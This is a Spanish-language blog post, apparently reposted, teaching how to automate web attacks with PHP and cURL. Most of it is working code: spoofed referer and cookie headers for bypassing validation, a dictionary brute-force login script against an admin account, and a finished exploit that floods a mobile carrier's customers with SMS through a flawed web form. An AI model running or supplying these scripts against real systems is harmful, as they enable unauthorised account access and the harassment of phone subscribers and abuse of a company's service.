Escribiendo exploits con cURL en PHP

No Comments
Sheila aka @UnaPibaGeek abrió su blog llamado Se Me Cayo un (1) Exploit, como ella quiere llamarlo SMC1E antes de que les deje con el post realizado por ella, y les recomiendo que se den una vuelta por su blog personal, para mi no será Se Me Cayó un (1) Exploit será Sheila Me Traes un Elado sin h :P



SMC1E

exploits-php-curl.jpg
Después de encontrar una vulnerabilidad y explotarla manualmente, viene la pregunta: ¿cómo automatizo el ataque?. En lo que a web respecta, pudiéramos necesitar un script que lance un ataque de fuerza bruta con determinados campos POST que van más allá de los de usuario y password, o quizás el ataque necesite repetir X cantidad de veces una petición, o ejecutar diferentes acciones según la respuesta que recibe por parte del servidor...o trabajar sobre HTTPS y un largo etcétera.


¿Podemos codear un script en python? si, podemos... pero también hay otra alternativa que particularmente a mí me gusta mucho y permite resolver las situaciones anteriores (y muchas más) con gran velocidad y en pocas líneas de código: la librería cURL con PHP.

A continuación un ejemplo básico de conexión con cURL donde mostramos en pantalla la respuesta del servidor web:

1
2
3
4
5
6
7
<?php
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    print curl_exec($ch);
    curl_close($ch);
?>

Veamos cómo a esta conexión podemos añadirle un referer y una cookie, lo que podría ser útil para saltar alguna validación a través del referer e indicarle a la aplicación que somos determinado usuario o tenemos una sesión valida:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
    $referer = "http://www.semecayounexploit.com";
    $cookie = "cookie=valor";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_REFERER, $referer);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    print curl_exec($ch);
    curl_close($ch);
?>

Veamos como automatizar con cURL un ataque de diccionario (de paso vemos cómo añadir campos a enviar por POST):

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
    $referer = "http://www.semecayounexploit.com";
    $cookie = "cookie=valor";
    $usuario = "admin";
    $diccionario = file_get_contents("diccionario.txt");
    $palabras = explode("\n",$diccionario);
    foreach ($palabras as $clave){
        $POST = "usuario=".$usuario."&pass=".$clave."&otrocampo=tehackeo&...";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, $referer);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $POST);
        /*Línea para almacenar la respuesta en una variable y luego procesarla*/
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        /* Si el login va por HTTPS también agregar la siguiente línea: */
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $respuesta = curl_exec($ch);
        if (preg_match("/Error/",$respuesta)){ //Login invalido
            print "Probando usuario: $usuario clave: $clave ---> FALLÓ";
        }else{
            print "Probando usuario: $usuario clave: $clave ---> ENCONTRADA!";
            exit();
        }
        curl_close($ch);
    }
?>

Además de mostrar el envío de campos por POST, en el script de arriba podemos observar cómo almacenar la respuesta de la conexión para buscar en ella determinada string y actuar en consecuencia. En este caso solo buscamos una cadena de error para verificar si le pegamos con la clave o no, pero, por ejemplo en algunos exploits que he programado donde era necesario ejecutar algunos pasos previos a la explotación de la falla en la aplicación vulnerable, me ha sido útil capturar y analizar la respuesta de manera que pueda determinar cómo continuar y así llevar a cabo todo el procedimiento correctamente.

Por otro lado, en los casos que se use HTTPS tendremos que agregar la línea: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);.

Para finalizar dejo a modo de ejemplo un pequeño exploit que aprovecha una fallaencontrada en el sitio de una compañía de telefonía móvil que permite realizar un Flood SMS a sus clientes:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
    set_time_limit(0);
    $area = $_GET["area"];
    $numero  = $_GET["numero"];
    $cantidad_sms = $_GET["cantidad"];
    $referer = "https://vulnerable.com/xyz.aspx";
    $post = "CodigoArea=".$area."&NumeroCelular=".$numero."&Siguiente=Continuar";
    $cookie = "cookie=valor";
    for($f=1;$f<=$cantidad_sms;$f++){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_REFERER, $referer);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
    }
?>

Para mis amigos fans de Python: PycURL.

Gracias Sheila, por permitirme compartir esta entrada en el blog... ;). 

Regards,
Snifer

0 comentarios

Publicar un comentario en la entrada